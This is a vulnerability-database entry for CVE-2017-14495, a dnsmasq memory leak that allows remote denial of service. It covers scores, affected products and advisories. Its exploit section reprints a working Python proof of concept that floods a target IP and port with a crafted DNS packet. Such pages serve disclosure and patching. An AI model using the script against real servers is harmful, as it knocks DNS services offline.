CVE-2017-14495 : Detail

CVE-2017-14495

7.5
/
High
92.22%V3
Network
2017-10-02
19h00 +00:00
2018-05-10
07h57 +00:00
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CVE Descriptions

Memory leak in dnsmasq before 2.78, when the --add-mac, --add-cpe-id or --add-subnet option is specified, allows remote attackers to cause a denial of service (memory consumption) via vectors involving DNS response creation.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-772 Missing Release of Resource after Effective Lifetime
The product does not release a resource after its effective lifetime has ended, i.e., after the resource is no longer needed.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

None

There is no loss of confidentiality within the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

[email protected]
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 42945

Publication date : 2017-10-01 22h00 +00:00
Author : Google Security Research
EDB Verified : Yes

''' Sources: https://raw.githubusercontent.com/google/security-research-pocs/master/vulnerabilities/dnsmasq/CVE-2017-14495.py https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html dnsmasq is vulnerable only if one of the following option is specified: --add-mac, --add-cpe-id or --add-subnet. ''' #!/usr/bin/python # # Copyright 2017 Google Inc # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # # Authors: # Fermin J. Serna <[email protected]> # Felix Wilhelm <[email protected]> # Gabriel Campana <[email protected]> # Kevin Hamacher <[email protected]> # Gynvael Coldwin <[email protected]> # Ron Bowes - Xoogler :/ import socket import sys def oom(): data = '''01 0d 08 1b 00 01 00 00 00 00 00 02 00 00 29 04 00 00 29 00 00 00 03 00 00 01 13 00 08 01 13 79 00 00 00 00 00 '''.replace(' ', '').replace('\n', '').decode('hex') data = data.replace('\x00\x01\x13\x00', '\x7f\x00\x00\x01') return data if __name__ == '__main__': if len(sys.argv) != 3: print 'Usage: %s <ip> <port>' % sys.argv[0] sys.exit(0) ip = sys.argv[1] port = int(sys.argv[2]) packet = oom() s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.setsockopt(socket.SOL_SOCKET,socket.SO_BROADCAST, 1) while True: s.sendto(packet, (ip, port)) #break s.close()

Products Mentioned

Configuraton 0

Canonical>>Ubuntu_linux >> Version 14.04

Canonical>>Ubuntu_linux >> Version 16.04

Canonical>>Ubuntu_linux >> Version 17.04

Debian>>Debian_linux >> Version 7.0

Debian>>Debian_linux >> Version 7.1

Debian>>Debian_linux >> Version 9.0

Novell>>Leap >> Version 42.2

    Novell>>Leap >> Version 42.3

      Redhat>>Enterprise_linux_desktop >> Version 7.0

      Redhat>>Enterprise_linux_server >> Version 7.0

      Redhat>>Enterprise_linux_workstation >> Version 7.0

      Configuraton 0

      Thekelleys>>Dnsmasq >> Version To (including) 2.77

      References

      http://www.securitytracker.com/id/1039474
      Tags : vdb-entry, x_refsource_SECTRACK
      http://www.debian.org/security/2017/dsa-3989
      Tags : vendor-advisory, x_refsource_DEBIAN
      http://www.securityfocus.com/bid/101085
      Tags : vdb-entry, x_refsource_BID
      http://www.ubuntu.com/usn/USN-3430-1
      Tags : vendor-advisory, x_refsource_UBUNTU
      http://www.securityfocus.com/bid/101977
      Tags : vdb-entry, x_refsource_BID
      https://www.kb.cert.org/vuls/id/973527
      Tags : third-party-advisory, x_refsource_CERT-VN
      https://security.gentoo.org/glsa/201710-27
      Tags : vendor-advisory, x_refsource_GENTOO
      http://www.ubuntu.com/usn/USN-3430-2
      Tags : vendor-advisory, x_refsource_UBUNTU
      https://access.redhat.com/errata/RHSA-2017:2836
      Tags : vendor-advisory, x_refsource_REDHAT
      https://www.exploit-db.com/exploits/42945/
      Tags : exploit, x_refsource_EXPLOIT-DB